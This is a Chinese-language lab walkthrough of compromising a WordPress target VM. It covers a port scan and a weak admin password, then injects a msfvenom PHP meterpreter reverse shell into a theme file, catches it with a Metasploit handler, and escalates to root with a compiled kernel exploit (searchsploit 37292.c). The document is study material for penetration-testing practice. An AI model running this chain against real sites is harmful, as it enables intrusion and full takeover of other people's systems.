WordPress 渗透测试
# 搭建靶机
打开 vmware 虚拟机创建一个 ubuntu 的虚拟机
将硬盘移除,将靶机的虚拟磁盘添加进去启动即可
# 信息收集
启动虚拟机后
这里我们不知道账号密码,将靶机的网段设置和 kali 相同 (NAT 模式)
通过 kali 的 nmap
工具扫出此 ip 的网段和相关信息
nmap -Pn -sV ip -p 0-65535 --open |
扫到靶机开放了两个端口 443 8080
# 漏洞检测
打开浏览器访问 8080
端口,进到首页后,看到个很明显的 Log in
关键词
点击后来到登陆界面,惯例简单弱口令试试水,试了几个弱口令没反应, admin
123456
就进去了 (也可爆破)
进到了后台,开始找漏洞利用点
# 漏洞利用
在 Appearance/Editor
中发现很多 php 文件,可以尝试从中插入危险函数达到我们的目的
我们在 index.php
插入个 phpinfo 并保存,浏览器打开新的标签页访问一遍首页查看代码是否执行
<?php phpinfo();?> |
执行成功!
(这个地方可以直接插入一句话 eval,直接 post 命令执行即可。这里不做演示
这里我们可以使用 msfvenom
生成一个反弹 shell 文件,lhost 是 kali 本机 ip
msfvenom -p php/meterpreter/reverse_tcp lhost=ip lport=port -f raw>shell.php |
将生成好的 shell.php
里面的内容复制下来,插入到靶机 index.php
配置文件里,(记得在结尾 ?>
闭合掉,以确保不会与下方的 php 代码冲突,然后保存 待定
利用 msfconsole
工具实现反弹效果,lhost 是 kali 本机 ip
msf6 > use exploit/multi/handler | |
[*] Using configured payload generic/shell_reverse_tcp | |
msf6 exploit(multi/handler) > show options | |
Module options (exploit/multi/handler): | |
Name Current Setting Required Description | |
---- --------------- -------- ----------- | |
Payload options (generic/shell_reverse_tcp): | |
Name Current Setting Required Description | |
---- --------------- -------- ----------- | |
LHOST yes The listen address (an interface may be specified) | |
LPORT 4444 yes The listen port | |
Exploit target: | |
Id Name | |
-- ---- | |
0 Wildcard Target | |
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp | |
payload => php/meterpreter/reverse_tcp | |
msf6 exploit(multi/handler) > set lhost 192.168.16.129 | |
lhost => 192.168.16.129 | |
msf6 exploit(multi/handler) > set lport 9999 | |
lport => 9999 | |
msf6 exploit(multi/handler) > run |
设置完就运行,然后去访问一遍首页,就会反弹成功,输入 shell
即可输入指令
发现当前是普通用户,需要进一步提权
uname -a
查看当前版本号
uname -a | |
Linux Kiowizity 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 i686 i686 GNU/Linux |
进入交互式
python -c 'import pty;pty.spawn("/bin/bash")' |
利用 searchsploit
工具查找 3.13.0 版本的漏洞
searchsploit -p linux/local/37292.c
查看绝对路径
打开 37292.c
里面会有教你如何使用此漏洞文件
将 37292.c
里面的内容复制下来并 base64 加密
返回到靶机页面,利用 file_put_contents
函数将加密好的 base64 写入进靶机内部
<?php file_put_contents("/tmp/123.c",base64_decode("加密内容"))?> |
保存再访问一次首页,返回 kali 成功将文件写入到 /tmp
下
然后将文件编译授权运行即可
daemon@Kiowizity:/tmp$ gcc 123.c -o tiquan | |
gcc 123.c -o tiquan | |
daemon@Kiowizity:/tmp$ ls | |
ls | |
123.c tiquan | |
daemon@Kiowizity:/tmp$ chmod 777 tiquan | |
chmod 777 tiquan | |
daemon@Kiowizity:/tmp$ ./tiquan | |
./tiquan | |
spawning threads | |
mount #1 | |
mount #2 | |
child threads done | |
/etc/ld.so.preload created | |
creating shared library | |
# whoami | |
whoami | |
root | |
# |
passwd
将密码修改,成功登陆靶机
渗透完成